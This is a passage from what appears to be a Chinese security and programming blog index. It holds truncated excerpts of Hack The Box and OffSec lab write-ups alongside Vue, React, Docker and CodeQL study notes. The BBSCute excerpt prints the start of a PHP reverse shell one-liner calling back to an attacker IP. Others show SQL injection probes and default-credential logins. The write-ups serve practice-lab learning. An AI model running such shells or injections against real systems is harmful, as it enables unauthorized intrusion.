HTB靶机-CozyHosting
知识点
actuator未授权
session泄露
命令行注入
linux分隔符绕过
hash爆破
正文
首先端口扫描
22和80开放。
web界面如下
除了login转向一个登陆界面,其他的都是静态的。
fuzz登录框,没有什么结果。每一次都会返回一个sessionid,猜测可以通过更改session获取登录态。
路径扫描后发现与有actuator和admin子路径。其中admin的状态是401,应该是未登录状态的原因。
打开actuator,很明显是actuator未授权,后台是java。
根据刚才的猜测,sessions是关键。但是还是先看看env。
里面的value都是星号,脱敏的方法。没有脱敏的条件。
还是看回sessions。
里面有一个不是未授权的session,将这个session替换,随即进入admin。
只有这个输入框可以交互,其他的都是静态的。
这里对输入框进行fuzz
所有为302状态返回的包,其Location返回都是类似报错。这个报错明显是ssh命令行出错,说明这里输入框的参数直接进入了命令行。可能存在命令注入。
在这里尝试反弹sh ...
HTB靶机-Keeper
对22和80两个端口进行扫描
web界面为
这个指向链接http://tickets.keeper.htb/rt/,但是发现访问不不了。
修改host,这样就能访问
这样出现了一个login界面
这里用到了一个request tracker的软件
Request Tracker,通常缩写为RT,是一种用Perl编写的工单跟踪事务跟踪管理系统软件,用于协调任务和管理在线用户社区之间的请求。RT 在 1996 年的第一个版本是由Jesse Vincent编写的,他后来成立了 Best Practical Solutions LLC 来分发、开发和支持该软件包。RT 是开源的,并在GNU 通用公共许可证下分发。
可以查到有以下漏洞,看了一下都比较难利用。
搜索Request Tracker的默认密码
尝试root password登录
登录成功!
然后要么找用户列表 尝试ssh,要么尝试命令执行和文件上传。
先看用户列表,除了管理员还有一个lnorgaard,邮箱为 lnorgaard@keeper.htb
尝试ssh登录用户lnorgaard,密码使用keeper.h ...
Vue学习笔记(二)
vite-vue-admin项目学习
左侧菜单栏
左边菜单栏的定义由两部分控制,一个是接口 admin/info返回的 data.data.menus。另一个是路由router/index.ts的addRouter中。
admin/info:data.data.menus这个接口用于以用户为粒度,控制左侧菜单栏。在每次登陆后返回该用户可访问的菜单栏。
addRouter中则是菜单栏中各种子项的路由定义。
也就是说如果想要在左侧显示自定义的菜单栏,二者缺一不可。
在加载的时候stores/user.ts 路径下的menusFilter函数会结合两者(靠name来匹配,所以name唯一定义),在这里构建最终的菜单栏。其中id,title,icon以data.data.menus返回为准,方便自定义菜单样式。
123456item.meta.id = each.idif (each.title) { item.meta.title = each.title}if (each.icon) { item.meta.icon = each.icon
https:/ ...
docker构建及相关问题
1.使用Docker-compose.yml指定本地的Dockerfile时路径问题
在Project项目下有如下内容。
12345678#Project.├── src├── docker│ ├── worker│ │ ├── Dockerfile ├── docker-compose.yml
在构造docker-compose.yml的时候,其中build设置如下。
context是上下文路径,之所以设置为项目的根目录,是因为在Dockerfile中存在COPY等命令,依赖于项目中所有的文件。如果上下文只在docker中,那么src/中的源代码在构建docker时候就无法使用。
123build: context: ../../Project dockerfile: docker/worker/Dockerfile
2.ERRORS:flags: 0x5000: not a directory
在我的docker-compose.yml中,存在如下设置
12volumes: - ./config-docker.yaml:/code/app/config.yaml
...
Vue 学习笔记
从Vue官方文档开始学习 。
1234567891011121314151617181920212223242526272829303132project/├── public/│ ├── index.html│ └── ...├── src/│ ├── assets/│ │ ├── images/│ │ └── ...│ ├── components/│ │ ├── Header.vue│ │ ├── Sidebar.vue│ │ └── ...│ ├── views/│ │ ├── Home.vue│ │ ├── About.vue│ │ └── ...│ ├── App.vue│ └── main.js├── router/│ └── index.js├── store/│ ├── index.js│ ├── modules/│ │ ├── user.js│ │ └── ...├── plugins/│ └── axios.js├── utils/│ ├ ...
React学习笔记
React项目目录结构:
12345678910111213141516171819my-react-app/├── node_modules/ // 依赖的第三方模块├── public/ // 公共静态资源│ ├── index.html // 主 HTML 文件│ ├── favicon.ico│ └── ...├── src/ // 源代码│ ├── App.js // 主应用组件│ ├── index.js // 入口文件│ ├── components/ // 自定义组件│ ├── styles/ // 样式文件│ ├── assets/ // 项目内部资源,如图片│ ├── services/ // 数据服务│ └── ...├── package.json // 项目配置和依赖信息├── package-lock.json // 锁定依赖版本├── README.md // 项目说明文件└── ... // 其他配置文件、工 ...
HTB-C.O.P Shop
给的target为157.245.43.189:31047
然后浏览器访问一下,发现是个web服务
有一个主页面和商品详情页面。
因为提供了源码,所以没有路径扫描,直接看源码,就只有两个web界面。
商品详情页面的url为, http://157.245.43.189:31047/view/1,通过修改最后的数字来显示不同的商品。
第一个想到的就是sqli,这里的数据库是sqlite,通过单引号闭合注入。
1' order by 1-- 正常显示
1' order by 2-- 报错
1' and 1=1 union select 1 -- 报错
bool类型的注入
直接上sqlmap
数据库中只有业务内容,有两个表,其中一个保存了4个商品的信息,没有其他的东西,无法继续。
回到源码看看。
注入点的代码如上。
试试ssti,也不行。继续翻源码,在最初构建数据库的时候使用了pickle进行反序列化。那么猜测通过python的反序列化进行利用
python pickle反序列化的利用方法如下:
https://davidhamann.de/2020/04/05/exploit ...
offsec-Lab-BBSCute
扫描之后看到开放端口有22和80,直接打开80端口。
发现是Apache2 Debian默认页面
路径扫描发现存在index.php,打开后看到是CuteNwes2.1.2
搜索和cutenews相关的漏洞。searchsploit cutenews
可以看到有和2.1.2相关的漏洞。用searchsploit -m下载下来
查看漏洞详情,是一个文件上传漏洞。
首先注册一个用户,注册的时候看不到验证码,可以F12查看network,再次刷新的时候看到验证码,复制过去就可以注册。
上传漏洞点在更改用户头像的地方,可以手动注入。
这里使用EXP 48800.py进行渗透,在输入攻击url后没有拿到shell。
于是看一下提供的exp。
可以看到这里路径和我们攻击目标的路径不太一样,把这个删了之后重新使用exp。
成功拿到shell。然后用以下代码反弹shell。
1php -r '$sock=fsockopen("192.168.45.163",2333);system("/bin/bash <&3 >&3 ...
CodeQL学习笔记(一)
基础元素
变量(Variables)
类(Class)
表达式(Expressions)
查询(Queries)
公式(Formulas)
别名(Alias)
模块(Modules)
谓词(Predicates)
类(Class)
123456789101112class Clazz extends int { Clazz(){ this=1 or this =2 } string getString(){ result = "One, two" + this.toString() }}from Clazz cselect c,c.getString()
codeql中的类在被调用时,其所有的子类都会被调用。
类中可以包含的元素
特征谓词声明
任意数量的成员谓词声明
任何数量的字段声明
特征谓词
它们是在类的主体中定义的谓词。它们是使用变量 this 限制类中可能的值的逻辑属性。
成员谓词
这些谓词只适用于特定类的成员。可以对值调用成员谓 ...
offsec-Lab-InfosecPrep
首先端口扫描
nmap -sT 192.168.152.89 -p- -Pn --min-rate=10000 -vv
得到结果
访问web服务
看到WordPress,直接wpscan开扫。这里能得到用户名admin。
利用CVE-2017-5487也能得到。
路径扫描发现存在robots.txt
访问secret.txt。
base64解码下
openssh private key。 复制下来保存到~/.ssh/id_rsa中。
然后直接用ssh连接,用户名不是admin。
回去找了找,在主页发现用户名oscp。
重新登陆成功。
得到user flag。



